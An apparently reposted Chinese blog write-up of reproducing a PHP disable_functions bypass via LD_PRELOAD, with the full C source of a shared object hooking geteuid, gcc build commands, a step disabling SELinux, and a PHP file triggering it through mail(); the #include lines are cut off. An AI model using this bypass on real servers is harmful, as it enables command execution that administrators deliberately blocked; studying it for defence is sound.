php mail ld preload,读《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》有感...
今天看來一篇文章:http://cb.drops.wiki/wooyun/drops/tips-16054.html
復現了一下,感覺有點坑
我把復現的過程,結果和遇到問題在這里總結一下
我的實驗環境是centos7 php 5.4
首先按照要求編譯一個so
1.創建一個hehe.c
#include
#include
#include
void payload() {
system("ls /home > /var/www/html/kkkk.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后編譯一下
gcc -c -fPIC hehe.c -o hehe
gcc --share hehe -o hehe.so
生成一個hehe.so文件
關閉selinux :setenforce 0
然后寫一個test.php文件
putenv("LD_PRELOAD=/var/www/html/hehe.so");
mail("a@localhost","","","","");
?>
訪問,等待了很久才在在網站根目錄下生成一個kkkk.txt
雖然是成功生成了kkkk.txt,并且內容也是正確的。
但是有幾個問題我搞了一天都沒有解決:
1.生成的時候特別慢,特別卡,無論我把機子的性能調整到多高
2.不能用system函數讀和刪除文件,查看日志發現,路徑雖然寫對了,但是在日志中發現大量文件不存在或者沒有被發現的錯誤記錄,很郁悶,而且錯誤記錄不止一條,有很多,證明mail函數在郵件沒有發送成功的時候反復發送,直到一個閥值才停下
3.無法用常規的方式反彈shell出來
總結
以上是生活随笔為你收集整理的php mail ld preload,读《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》有感...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: EC2的维护更新
- 下一篇: java实现一台电脑控制多台手机_涨姿势